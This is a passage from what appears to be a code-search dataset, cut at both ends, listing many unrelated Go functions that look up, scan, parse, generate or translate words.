err)\n\t}\n\tlog.Printf(\"processed word \\\"%s\\\"\", word)\n\treturn &w\n}","func (wd Word) RetrieveWordByID(ctx context.Context, w http.ResponseWriter, r *http.Request) error {\n\n\t_id := chi.URLParam(r, \"_id\")\n\n\twordFound, err := word.RetrieveWordByID(ctx, wd.DB, _id)\n\tif err != nil {\n\t\tswitch err {\n\t\tcase apierror.ErrNotFound:\n\t\t\treturn web.NewRequestError(err, http.StatusNotFound)\n\t\tcase apierror.ErrInvalidID:\n\t\t\treturn web.NewRequestError(err, http.StatusBadRequest)\n\t\tdefault:\n\t\t\treturn errors.Wrapf(err, \"looking for word %q\", _id)\n\t\t}\n\t}\n\n\treturn web.Respond(ctx, w, wordFound, http.StatusOK)\n}","func ExampleTerm_Get() {\n\t// Fetch the row from the database\n\tres, err := DB(\"examples\").Table(\"heroes\").Get(2).Run(session)\n\tif err != nil {\n\t\tfmt.Print(err)\n\t\treturn\n\t}\n\tdefer res.Close()\n\n\tif res.IsNil() {\n\t\tfmt.Print(\"Row not found\")\n\t\treturn\n\t}\n\n\tvar hero map[string]interface{}\n\terr = res.One(&hero)\n\tif err != nil {\n\t\tfmt.Printf(\"Error scanning database result: %s\", err)\n\t\treturn\n\t}\n\tfmt.Print(hero[\"name\"])\n\n\t// Output: Superman\n}","func Word() string{\n\tword := make([]uint8, rand.Intn(100) + 1) //Generate the character base array\n\tfor i := 0; i < len(word); i++ {\n\t\tword[i] = Char()//Generate every character\n\t}\n\treturn string(word)\n}","func getWords() map[string]int {\n\n\treader := r.NewReader(os.Stdin)\n\n\twords := make(map[string]int)\n\n\tfor {\n\t\tf.Println(\"-----\")\n\t\tf.Println(\"Current words are:\")\n\t\tif len(words) > 0 {\n\t\t\tfor k, v := range words {\n\t\t\t\tf.Printf(\"%q = %v\\n\", k, v)\n\t\t\t}\n\t\t} else {\n\t\t\tf.Println(\"No words\")\n\t\t}\n\t\tf.Println()\n\t\tf.Println(\"Enter - Finish updating words\")\n\t\tf.Println(\"Add - Add a word\")\n\t\tf.Println(\"Mod - Change a word value\")\n\t\tf.Println(\"Del - Remove a word\")\n\n\t\ttext, _ := reader.ReadString('\\n')\n\t\tcmd := ss.ToLower(ss.Replace(text, \"\\n\", \"\", -1))\n\n\t\tswitch cmd {\n\t\tcase \"\":\n\t\t\treturn words\n\t\tcase \"add\":\n\t\t\taddWord(words)\n\t\tcase \"mod\":\n\t\t\tmodWords(words)\n\t\tcase \"del\":\n\t\t\tdelWords(words)\n\t\tdefault:\n\t\t\tcontinue\n\t\t}\n\n\t}\n}","func (w *Writer) WriteWord(word string) {\n\tw.writeBytes([]byte(word))\n}","func (e Es) GetDocument(index string, docType string, id string) (string, error) {\n\tbody, err := e.getJSON(fmt.Sprintf(\"/%s/%s/%s\", index, docType, id))\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\terr = checkError(body)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Index %s failed: %s\", index, err.Error())\n\t}\n\n\tresult, err := utils.MapToYaml(body)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn result, nil\n}","func (service *SynonymService) GetSynonyms(word vm.Word) ([]vm.Word, int) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\t// Check if word already exists\n\tif val, ok := service.Synonyms[word.Word]; ok {\n\n\t\treturn *val, 0\n\n\t}\n\n\treturn nil, status.ErrorWordDoesNotExist\n\n}","func get_meaning(word string) []byte {\n\tvar meanings []string\n\ttime.Sleep(1000 * time.Millisecond)\n\tdoc, err := goquery.NewDocument(\"http://ejje.weblio.jp/content/\" + word)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdoc.Find(\".level0\").Each(func(i int, s *goquery.Selection) {\n\t\tmeanings = append(meanings, s.Text())\n\t})\n\n\tmeaning := strings.Join(meanings, \",\")\n\n\treturn []byte(word + \"\\t\" + meaning + \"\\n\")\n}","func (service *SynonymService) GetWords() ([]vm.Word, error) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\twords := make([]vm.Word, 0)\n\t// Check if word already exists\n\tfor k := range service.Synonyms {\n\t\twords = append(words, vm.Word{Word: k})\n\t}\n\treturn words, nil\n\n}","func (t *Trie) find(word string) *node {\n\tchars := t.toChars(word)\n\tr := t.root\n\tfor i := 0; i < len(chars); i++ {\n\t\tif _, ok := r.children[chars[i]]; !ok {\n\t\t\tbreak\n\t\t}\n\t\tr = r.children[chars[i]]\n\t\tif i == len(chars)-1 {\n\t\t\treturn r\n\t\t}\n\t}\n\treturn nil\n}","func (impl *Impl) ExtractIndexableWords() []string {\n\tw := make([]string, 0, 20)\n\tw = append(w, fmt.Sprintf(\"%d\", impl.Id))\n\tw = append(w, strings.ToLower(impl.LanguageName))\n\tw = append(w, SplitForIndexing(impl.ImportsBlock, true)...)\n\tw = append(w, SplitForIndexing(impl.CodeBlock, true)...)\n\tif len(impl.AuthorComment) >= 3 {\n\t\tw = append(w, SplitForIndexing(impl.AuthorComment, true)...)\n\t}\n\tif langExtras, ok := langsExtraKeywords[impl.LanguageName]; ok {\n\t\tw = append(w, langExtras...)\n\t}\n\t// Note: we don't index external URLs.\n\treturn w\n}","func (r Replicator) Get_Term() int {\n\treturn r.currentTerm\n}"],"string":"[\n \"func GetWord(lang Language, index int64) (string, error) {\\n\\tswitch lang {\\n\\tcase English:\\n\\t\\treturn english[index], nil\\n\\tcase Japanese:\\n\\t\\treturn japanese[index], nil\\n\\tcase Korean:\\n\\t\\treturn korean[index], nil\\n\\tcase Spanish:\\n\\t\\treturn spanish[index], nil\\n\\tcase ChineseSimplified:\\n\\t\\treturn chineseSimplified[index], nil\\n\\tcase ChineseTraditional:\\n\\t\\treturn chineseTraditional[index], nil\\n\\tcase French:\\n\\t\\treturn french[index], nil\\n\\tcase Italian:\\n\\t\\treturn italian[index], nil\\n\\t}\\n\\treturn \\\"\\\", fmt.Errorf(\\\"Language %s not found\\\", lang)\\n}\",\n \"func (d *dictionary) getIndex(word string) tokenID {\\n\\tif idx, found := d.indices[word]; found {\\n\\t\\treturn idx\\n\\t}\\n\\treturn unknownIndex\\n}\",\n \"func GetEvenWord(ind int) string {\\n\\tif ind < 0 || ind >= len(WordList) {\\n\\t\\tpanic(\\\"index if out of bounds for word list\\\")\\n\\t}\\n\\n\\treturn WordList[ind][0]\\n}\",\n \"func GetWord(b *Buffer) ([]byte, int) {\\n\\tc := b.GetActiveCursor()\\n\\tl := b.LineBytes(c.Y)\\n\\tl = util.SliceStart(l, c.X)\\n\\n\\tif c.X == 0 || util.IsWhitespace(b.RuneAt(c.Loc.Move(-1, b))) {\\n\\t\\treturn []byte{}, -1\\n\\t}\\n\\n\\tif util.IsNonAlphaNumeric(b.RuneAt(c.Loc.Move(-1, b))) {\\n\\t\\treturn []byte{}, c.X\\n\\t}\\n\\n\\targs := bytes.FieldsFunc(l, util.IsNonAlphaNumeric)\\n\\tinput := args[len(args)-1]\\n\\treturn input, c.X - util.CharacterCount(input)\\n}\",\n \"func GetWord() string {\\n\\tif *offline { // if dev flag is passed\\n\\t\\treturn \\\"elephant\\\"\\n\\t}\\n\\n\\tresp, err := http.Get(\\\"https://random-word-api.herokuapp.com/word?number=5\\\") // requestinng random 5 words to an external api.\\n\\tif err != nil {\\n\\t\\treturn \\\"elephant\\\"\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\n\\tbody, err := ioutil.ReadAll(resp.Body)\\n\\tif err != nil {\\n\\t\\treturn \\\"elephant\\\"\\n\\t}\\n\\twords := []string{}\\n\\terr = json.Unmarshal(body, &words) // Unmarshal the json object into words slice\\n\\tif err != nil {\\n\\t\\treturn \\\"elephant\\\"\\n\\t}\\n\\n\\tfor _, v := range words {\\n\\t\\tif len(v) > 4 && len(v) < 9 {\\n\\t\\t\\treturn v\\n\\t\\t}\\n\\t}\\n\\treturn \\\"elephant\\\"\\n}\",\n \"func getWord(id int64) string {\\n\\treturn diceware8k[id&8191]\\n}\",\n \"func (w *Lookup) Word() string {\\n\\treturn w.word\\n}\",\n \"func WordAt(i int) string {\\n\\treturn words[i]\\n}\",\n \"func GetOddWord(ind int) string {\\n\\tif ind < 0 || ind >= len(WordList) {\\n\\t\\tpanic(\\\"index is out of bounds for word list\\\")\\n\\t}\\n\\n\\treturn WordList[ind][1]\\n}\",\n \"func (d *babbleDictionary) GetRandomWord() string {\\n\\tif d.config.MinLength > d.config.MaxLength {\\n\\t\\tpanic(\\\"minimum length cannot exceed maximum length\\\")\\n\\t}\\n return getRandomWordFromList(d.config.MinLength, d.config.MaxLength,d.sourceList)\\n}\",\n \"func getWord() int {\\r\\n var w int\\r\\n w = int(fileData[fileDataPos])\\r\\n fileDataPos++\\r\\n w += (int(fileData[fileDataPos]) * 0x100)\\r\\n fileDataPos++\\r\\n return w\\r\\n}\",\n \"func IndexizeWord(w string) string {\\n\\treturn strings.TrimSpace(strings.ToLower(w))\\n}\",\n \"func getWord(begin, end int, t string) string {\\n for end >= len(t) {\\n return \\\"\\\"\\n }\\n d := make([]uint8, end-begin+1)\\n for j, i := 0, begin; i <= end; i, j = i+1, j+1 {\\n d[j] = t[i]\\n }\\n return string(d)\\n}\",\n \"func (g *Game) findWord(ws []*scottpb.Word, w string) int {\\n\\tw = (w + \\\" \\\")[0:g.Current.Header.WordLength]\\n\\tfor i := 0; i < len(ws); i++ {\\n\\t\\tif (ws[i].Word + \\\" \\\")[0:g.Current.Header.WordLength] != w {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tfor j := i; j >= 0; j-- {\\n\\t\\t\\tif !ws[j].Synonym {\\n\\t\\t\\t\\treturn j\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn UnknownWord\\n}\",\n \"func GetRandomWord() string {\\n\\n\\tresponse, err := http.Get(\\\"http://randomword.setgetgo.com/get.php\\\")\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Error generating random word: %v\\\", err)\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\tdefer response.Body.Close()\\n\\tcontents, err := ioutil.ReadAll(response.Body)\\n\\tlog.Printf(\\\"%v\\\", string(contents))\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"%s\\\", err)\\n\\t}\\n\\treturn string(contents)\\n\\n}\",\n \"func (_ WordRepository) GetByWordId(word_id string) (models.Word, error) {\\n\\tdb := db.ConnectDB()\\n\\tvar w models.Word\\n\\tif err := db.Table(\\\"words\\\").Where(\\\"word_id = ?\\\", word_id).Scan(&w).Error; err != nil {\\n\\t\\treturn w, err\\n\\t}\\n\\treturn w, nil\\n}\",\n \"func GetRandomOddWord() string {\\n\\treturn GetRandomWordSet()[1]\\n}\",\n \"func (v *VerbalExpression) Word() *VerbalExpression {\\n\\treturn v.add(`\\\\w+`)\\n}\",\n \"func (l *Lexer) NextWord() (string, error) {\\n\\tvar token *Token\\n\\tvar err error\\n\\tfor {\\n\\t\\ttoken, err = l.tokenizer.NextToken()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t\\tswitch token.tokenType {\\n\\t\\tcase TOKEN_WORD:\\n\\t\\t\\t{\\n\\t\\t\\t\\treturn token.value, nil\\n\\t\\t\\t}\\n\\t\\tcase TOKEN_COMMENT:\\n\\t\\t\\t{\\n\\t\\t\\t\\t// skip comments\\n\\t\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\t{\\n\\t\\t\\t\\tpanic(fmt.Sprintf(\\\"Unknown token type: %v\\\", token.tokenType))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn \\\"\\\", io.EOF\\n}\",\n \"func (m *store) Get(s string) (ukjent.Word, error) {\\n\\treturn m.get(s)\\n}\",\n \"func (th *translationHandler) TranslateWord(w http.ResponseWriter, r *http.Request) {\\n\\tenglish := &data.English{}\\n\\n\\terr := th.codec.Decode(r, english)\\n\\n\\tif err != nil {\\n\\t\\tth.logger.Fatal(err)\\n\\t}\\n\\n\\tgopherWord := th.translate(english)\\n\\n\\tif !th.doesKeyExistInDb(english.Word) {\\n\\t\\tth.pushKeyIntoDb(english.Word, gopherWord)\\n\\t}\\n\\n\\tth.codec.Encode(w, &data.Gopher{Word: gopherWord})\\n}\",\n \"func (w KyTeaWord) Word(util StringUtil) Word {\\n\\tsurface := w.Surface(util)\\n\\ttagsLen := w.TagsLen()\\n\\ttags := make([][]Tag, tagsLen)\\n\\tfor i := 0; i < tagsLen; i++ {\\n\\t\\tcandidateTagsLen := w.CandidateTagsLen(i)\\n\\t\\ttmp := make([]Tag, candidateTagsLen)\\n\\t\\tfor j := 0; j < candidateTagsLen; j++ {\\n\\t\\t\\ttmp[j].Feature, tmp[j].Score = w.Tag(i, j, util)\\n\\t\\t}\\n\\t\\ttags[i] = tmp\\n\\t}\\n\\treturn Word{\\n\\t\\tSurface: surface,\\n\\t\\tTags: tags,\\n\\t}\\n}\",\n \"func (t *TableNode) TokenWord() []rune {\\n\\treturn t.Word\\n}\",\n \"func GetRandomEvenWord() string {\\n\\treturn GetRandomWordSet()[0]\\n}\",\n \"func getWordCost(word string) float64 {\\n\\tif v, ok := wordCost[word]; ok {\\n\\t\\treturn v\\n\\t}\\n\\treturn 9e99\\n}\",\n \"func GenerateWord() (string, error) {\\n\\taddress := fmt.Sprintf(\\\"%s:%v\\\", cfg.Conf.Word.Service.Host, cfg.Conf.Word.Service.Port)\\n\\tconn, err := grpc.Dial(address, grpc.WithInsecure())\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"error while connecting: %v\\\", err)\\n\\t}\\n\\tdefer conn.Close()\\n\\tc := wordgen.NewWordGeneratorClient(conn)\\n\\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\\n\\tdefer cancel()\\n\\tresp, err := c.GenerateWord(ctx, &wordgen.GenerateWordReq{})\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"error while making request: %v\\\", err)\\n\\t}\\n\\treturn resp.Word, nil\\n}\",\n \"func (p *ProcStat) getAsWord() (pstatus int) {\\n\\tpstatus = p.c | p.z<<1 | p.i<<2 | p.d<<3 | p.b<<4 | p.v<<6 | p.n<<7\\n\\treturn\\n}\",\n \"func (c *Client) Get(word string, language slovnik.Language) (io.ReadCloser, error) {\\n\\tquery := c.createURL(word, language)\\n\\tresp, err := c.client.Get(query.String())\\n\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"get failed\\\")\\n\\t}\\n\\n\\treturn resp.Body, nil\\n}\",\n \"func (l *yyLexState) scan_word(yylval *yySymType, c rune) (tok int, err error) {\\n\\tvar eof bool\\n\\n\\tw := string(c)\\n\\tcount := 1\\n\\n\\t// Scan a string of ascii letters, numbers/digits and '_' character.\\n\\n\\tfor c, eof, err = l.get(); !eof && err == nil; c, eof, err = l.get() {\\n\\t\\tif c > 127 ||\\n\\t\\t\\t(c != '_' &&\\n\\t\\t\\t\\t!unicode.IsLetter(c) &&\\n\\t\\t\\t\\t!unicode.IsNumber(c)) {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tcount++\\n\\t\\tif count > 128 {\\n\\t\\t\\treturn 0, l.mkerror(\\\"name too many characters: max=128\\\")\\n\\t\\t}\\n\\t\\tw += string(c)\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\n\\t// pushback the first character after the end of the word\\n\\n\\tif !eof {\\n\\t\\tl.pushback(c)\\n\\t}\\n\\n\\t// language keyword?\\n\\n\\tif keyword[w] > 0 {\\n\\t\\treturn keyword[w], nil\\n\\t}\\n\\n\\t// an executed command reference?\\n\\n\\tif l.command[w] != nil {\\n\\t\\tyylval.command = l.command[w]\\n\\t\\treturn XCOMMAND, nil\\n\\t}\\n\\n\\t// a predicate reference?\\n\\n\\tif l.predicate[w] != nil {\\n\\t\\tyylval.predicate = l.predicate[w]\\n\\t\\treturn XPREDICATE, nil\\n\\t}\\n\\n\\tyylval.string = w\\n\\treturn NAME, nil\\n}\",\n \"func (s *Scanner) scanWord() (TokenType, string, bool) {\\n\\tvar buf bytes.Buffer\\n\\tbuf.WriteRune(s.read())\\n\\n\\tvar i int\\n\\tvar hasTrailingWhitespace bool\\n\\tfor {\\n\\t\\tif i >= 1000 {\\n\\t\\t\\t// prevent against accidental infinite loop\\n\\t\\t\\tlog.Println(\\\"infinite loop in scanner.scanWord detected\\\")\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\ti++\\n\\t\\tch := s.read()\\n\\t\\tif ch == eof {\\n\\t\\t\\tbreak\\n\\t\\t} else if isWhitespace(ch) {\\n\\t\\t\\thasTrailingWhitespace = true\\n\\t\\t\\ts.unread()\\n\\t\\t\\tbreak\\n\\t\\t} else {\\n\\t\\t\\t_, _ = buf.WriteRune(ch)\\n\\t\\t}\\n\\t}\\n\\n\\tstringBuf := buf.String()\\n\\n\\tif strings.HasPrefix(stringBuf, aliases.Search) {\\n\\t\\treturn SEARCH_ALIAS, stringBuf[len(aliases.Search):], hasTrailingWhitespace\\n\\t}\\n\\n\\tif strings.HasPrefix(stringBuf, aliases.OverrideAwsRegion) {\\n\\t\\treturn REGION_OVERRIDE, stringBuf[len(aliases.OverrideAwsRegion):], hasTrailingWhitespace\\n\\t}\\n\\n\\tif strings.HasPrefix(stringBuf, aliases.OverrideAwsProfile) {\\n\\t\\treturn PROFILE_OVERRIDE, stringBuf[len(aliases.OverrideAwsProfile):], hasTrailingWhitespace\\n\\t}\\n\\n\\tswitch stringBuf {\\n\\tcase \\\"OPEN_ALL\\\":\\n\\t\\treturn OPEN_ALL, stringBuf, hasTrailingWhitespace\\n\\t}\\n\\n\\treturn WORD, stringBuf, hasTrailingWhitespace\\n}\",\n \"func (self Linedata) get(field string) string {\\n\\tidx, ok := indexmap[field]\\n\\tif !ok {\\n\\t\\tfmt.Printf(\\\"[ERROR] unable to find index for field: %s\\\\n\\\", field)\\n\\t\\tfmt.Println(\\\"indexmap dump:\\\")\\n\\t\\tfmt.Println(indexmap)\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\treturn self[idx]\\n}\",\n \"func handleWord(w http.ResponseWriter, r *http.Request ) {\\n\\tfmt.Fprintf( w, \\\"

%s

\\\\n\\\", \\\"Endpoint for gopher Word translation\\\" )\\n\\n\\tbody, readErr := ioutil.ReadAll(r.Body)\\n\\tif readErr != nil {\\n\\t\\tfmt.Println(readErr)\\n\\t\\treturn\\n\\t}\\n\\n\\tword := Word{}\\n\\terr := json.Unmarshal(body, &word)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\treturn\\n\\t}\\n\\n\\tgoph, err := translateWord(word.Word)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\treturn\\n\\t}\\n\\n\\ttextBytes, err := json.Marshal(map[string]interface{}{\\\"gopher-word\\\": goph})\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tgopherTranslated := string(textBytes)\\n\\tfmt.Println(gopherTranslated)\\n\\tfmt.Fprintf( w, \\\"

%s

\\\\n\\\",gopherTranslated )\\n}\",\n \"func LookupWordToken(w string) Token {\\n\\tif tt, ok := keywords[w]; ok {\\n\\t\\treturn Token{\\n\\t\\t\\tType: tt,\\n\\t\\t\\tValue: w,\\n\\t\\t}\\n\\t}\\n\\n\\treturn Token{\\n\\t\\tType: WORD,\\n\\t\\tValue: w,\\n\\t}\\n}\",\n \"func (d *Decoder) LookupWord(word String) (string, bool) {\\n\\tphones := pocketsphinx.LookupWord(d.dec, word.S())\\n\\tif phones != nil {\\n\\t\\treturn string(phones), true\\n\\t}\\n\\treturn \\\"\\\", false\\n}\",\n \"func (i Interval) Word() string {\\n\\treturn durationToWord(i)\\n}\",\n \"func WordAt(bytes []byte, pos int) Boundary {\\n\\treturn Boundary{WordBegin(bytes, pos), WordEnd(bytes, pos)}\\n}\",\n \"func FindWord(board Board, direction string, coord Coordinate) (Word, bool) {\\n\\tvar word Word\\n\\tx, y := coord.x, coord.y\\n\\tword.direction = direction\\n\\tword.Squares = append(word.Squares, board[x][y])\\n\\n\\tswitch direction {\\n\\tcase \\\"horizontal\\\":\\n\\t\\tfor i := y + 1; i < Size; i++ {\\n\\t\\t\\tif board[x][i].IsEmpty() {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t\\tword.Squares = append(word.Squares, board[x][i])\\n\\t\\t}\\n\\t\\tfor i := y - 1; i > 0; i-- {\\n\\t\\t\\tif board[x][i].IsEmpty() {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t\\tword.Squares = append(word.Squares, board[x][i])\\n\\t\\t}\\n\\tcase \\\"vertical\\\":\\n\\t\\tfor i := x + 1; i < Size; i++ {\\n\\t\\t\\tif board[i][y].IsEmpty() {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t\\tword.Squares = append(word.Squares, board[i][y])\\n\\t\\t}\\n\\t\\tfor i := x - 1; i > 0; i-- {\\n\\t\\t\\tif board[i][y].IsEmpty() {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t\\tword.Squares = append(word.Squares, board[i][y])\\n\\t\\t}\\n\\t}\\n\\n\\t// Case of only having the single letter present\\n\\tif len(word.Squares) == 1 {\\n\\t\\treturn word, false\\n\\t}\\n\\tsort.Sort(word)\\n\\treturn word, true\\n}\",\n \"func (app *Application) ScrapeWord(word string) (string, error) {\\n\\n\\tword = strings.ReplaceAll(word, \\\" \\\", \\\"-\\\")\\n\\tvar wordTranslate = \\\"\\\"\\n\\tvar wordUrl = fmt.Sprintf(\\\"%s/%s\\\", app.Config.BaseUrl, word)\\n\\tres, err := http.Get(wordUrl)\\n\\tif err != nil || res.StatusCode != 200 {\\n\\t\\tapp.Logger.Error(\\\"err to get the word\\\", zap.Error(err), zap.Any(\\\"word\\\", word), zap.Any(\\\"status_code\\\", res.StatusCode))\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tdefer res.Body.Close()\\n\\n\\t// Load the HTML document\\n\\tdoc, err := goquery.NewDocumentFromReader(res.Body)\\n\\tif err != nil {\\n\\t\\tapp.Logger.Error(\\\"err on load html\\\", zap.Error(err), zap.Any(\\\"word\\\", word))\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// if user want the full html of the page\\n\\tif app.Config.DesireOutPut == \\\"full_html\\\" {\\n\\t\\tfullPageMarkup, err := doc.Html()\\n\\t\\tif err != nil {\\n\\t\\t\\tapp.Logger.Error(\\\"err on get full page markup\\\", zap.Error(err), zap.Any(\\\"wordUrl\\\", wordUrl))\\n\\t\\t}\\n\\t\\treturn fullPageMarkup, nil\\n\\t}\\n\\n\\tdoc.Find(\\\".entry_content\\\").Each(func(i int, s *goquery.Selection) {\\n\\t\\twordTranslate = s.Text()\\n\\n\\t})\\n\\treturn wordTranslate, nil\\n}\",\n \"func (e *T) eraseWord() {\\n\\tif e.widx <= 0 {\\n\\t\\treturn\\n\\t}\\n\\n\\t// number of boundary transitions\\n\\tn := 2\\n\\n\\te.widx--\\n\\tif isWordRune(rune(e.buf[e.widx])) {\\n\\t\\tn--\\n\\t}\\n\\te.buf[e.widx] = 0\\n\\n\\tfor e.widx > 0 {\\n\\t\\te.widx--\\n\\t\\tisword := isWordRune(rune(e.buf[e.widx]))\\n\\t\\tif n == 2 && isword {\\n\\t\\t\\tn--\\n\\t\\t} else if n == 1 && !isword {\\n\\t\\t\\te.widx++\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\te.buf[e.widx] = 0\\n\\t}\\n}\",\n \"func (ww *Writer) WriteWord(w string) (int, error) {\\n\\ttw, err := ww.writeWord(w)\\n\\tif err != nil {\\n\\t\\treturn tw, err\\n\\t}\\n\\n\\tnw, err := ww.flush()\\n\\ttw += nw\\n\\n\\tif err != nil {\\n\\t\\treturn tw, err\\n\\t}\\n\\n\\t_, err = ww.lb.WriteRune(' ')\\n\\tww.remaining--\\n\\treturn tw, err\\n}\",\n \"func (c *Processor) readWord(ea uint16) (n uint16, opr string, err error) {\\n\\tmod := ea & 0x38 >> 3\\n\\treg := ea & 0x07\\n\\tswitch mod {\\n\\tdefault:\\n\\t\\terr = errBadAddress\\n\\t\\treturn\\n\\n\\tcase 0x00: // data register\\n\\t\\tn = uint16(c.D[reg])\\n\\t\\topr = fmt.Sprintf(\\\"D%d\\\", reg)\\n\\n\\tcase 0x01: // address register\\n\\t\\tn = uint16(c.A[reg])\\n\\t\\topr = fmt.Sprintf(\\\"A%d\\\", reg)\\n\\n\\tcase 0x02: // memory address\\n\\t\\tn, err = c.M.Word(int(c.A[reg]))\\n\\t\\topr = fmt.Sprintf(\\\"(A%d)\\\", reg)\\n\\n\\tcase 0x03: // memory address with post-increment\\n\\t\\tn, err = c.M.Word(int(c.A[reg]))\\n\\t\\tc.A[reg] += 2\\n\\t\\topr = fmt.Sprintf(\\\"(A%d)+\\\", reg)\\n\\n\\tcase 0x04: // memory address with pre-decrement\\n\\t\\tc.A[reg] -= 2\\n\\t\\tn, err = c.M.Word(int(c.A[reg]))\\n\\t\\topr = fmt.Sprintf(\\\"-(A%d)\\\", reg)\\n\\n\\tcase 0x05: // memory address with displacement\\n\\t\\tvar d int16\\n\\t\\td, err = c.M.Sword(int(c.PC))\\n\\t\\tif err != nil {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tc.PC += 2\\n\\t\\taddr := int(c.A[reg]) + int(d)\\n\\t\\tn, err = c.M.Word(addr)\\n\\t\\topr = fmt.Sprintf(\\\"($%X,A%d)\\\", d, reg)\\n\\n\\tcase 0x07: // other\\n\\t\\tswitch reg {\\n\\t\\tdefault:\\n\\t\\t\\terr = errBadAddress\\n\\t\\t\\treturn\\n\\n\\t\\tcase 0x00: // absolute word\\n\\t\\t\\tvar addr uint16\\n\\t\\t\\taddr, err = c.M.Word(int(c.PC))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tc.PC += 2\\n\\t\\t\\tn, err = c.M.Word(int(addr))\\n\\t\\t\\topr = fmt.Sprintf(\\\"$%X\\\", addr)\\n\\n\\t\\tcase 0x01: // absolute long\\n\\t\\t\\tvar addr uint32\\n\\t\\t\\taddr, err = c.M.Long(int(c.PC))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tc.PC += 4\\n\\t\\t\\tn, err = c.M.Word(int(addr))\\n\\t\\t\\topr = fmt.Sprintf(\\\"$%X\\\", addr)\\n\\n\\t\\tcase 0x04: // immediate word\\n\\t\\t\\tn, err = c.M.Word(int(c.PC))\\n\\t\\t\\tc.PC += 2\\n\\t\\t\\topr = fmt.Sprintf(\\\"#$%X\\\", wordToInt32(n))\\n\\t\\t}\\n\\t}\\n\\treturn\\n}\",\n \"func (wordSearchSystemServer *WordSearchSystemServer) SearchWord(ctx context.Context, in *wordsearchsystemgrpc.SearchWordRequest) (*wordsearchsystemgrpc.SearchWordReply, error) {\\n\\tmatches := wordSearchSystemServer.wordSearchService.SearchWord(in.KeyWord)\\n\\treturn &wordsearchsystemgrpc.SearchWordReply{Matches: matches}, nil\\n}\",\n \"func ToWord() Tokeniser {\\n\\treturn createToWordTokeniser()\\n}\",\n \"func (m *RecurrencePattern) GetIndex()(*WeekIndex) {\\n return m.index\\n}\",\n \"func (game *Game) CheckWord(word string) bool {\\n\\treturn game.Dictionary.Words[word]\\n}\",\n \"func (fr *Frame) ParseWord(s string) (T, string) {\\n\\t//- log.Printf(\\\"< ParseWord < %#v\\\\n\\\", s)\\n\\ti := 0\\n\\tn := len(s)\\n\\tbuf := bytes.NewBuffer(nil)\\n\\nLoop:\\n\\tfor i < n {\\n\\t\\tc := s[i]\\n\\t\\tswitch c {\\n\\t\\tcase '[':\\n\\t\\t\\t// Mid-word, squares should return stringlike result.\\n\\t\\t\\tnewresult2, rest2 := fr.ParseSquare(s[i:])\\n\\t\\t\\tbuf.WriteString(newresult2.String())\\n\\t\\t\\ts = rest2\\n\\t\\t\\tn = len(s)\\n\\t\\t\\ti = 0\\n\\t\\tcase ']':\\n\\t\\t\\tbreak Loop\\n\\t\\tcase '$':\\n\\t\\t\\tnewresult3, rest3 := fr.ParseDollar(s[i:])\\n\\n\\t\\t\\t// Special case, the entire word is dollar-substituted. \\n\\t\\t\\tif i == 0 && buf.Len() == 0 && (len(rest3) == 0 || WhiteOrSemi(rest3[0]) || rest3[0] == ']') {\\n\\t\\t\\t\\treturn newresult3, rest3\\n\\t\\t\\t}\\n\\n\\t\\t\\tbuf.WriteString(newresult3.String())\\n\\t\\t\\ts = rest3\\n\\t\\t\\tn = len(s)\\n\\t\\t\\ti = 0\\n\\t\\tcase ' ', '\\\\t', '\\\\n', '\\\\r', ';':\\n\\t\\t\\tbreak Loop\\n\\t\\tcase '\\\"':\\n\\t\\t\\tpanic(\\\"ParseWord: DoubleQuote inside word\\\")\\n\\t\\tcase '\\\\\\\\':\\n\\t\\t\\tc, i = consumeBackslashEscaped(s, i)\\n\\t\\t\\tbuf.WriteByte(c)\\n\\t\\tdefault:\\n\\t\\t\\tbuf.WriteByte(c)\\n\\t\\t\\ti++\\n\\t\\t}\\n\\t}\\n\\t// result = MkString(buf.String())\\n\\t// rest = s[i:]\\n\\t//- log.Printf(\\\"> ParseWord > %#v > %q\\\\n\\\", result, rest)\\n\\treturn MkString(buf.String()), s[i:]\\n}\",\n \"func (tp *Trie) AddWord(word string) int 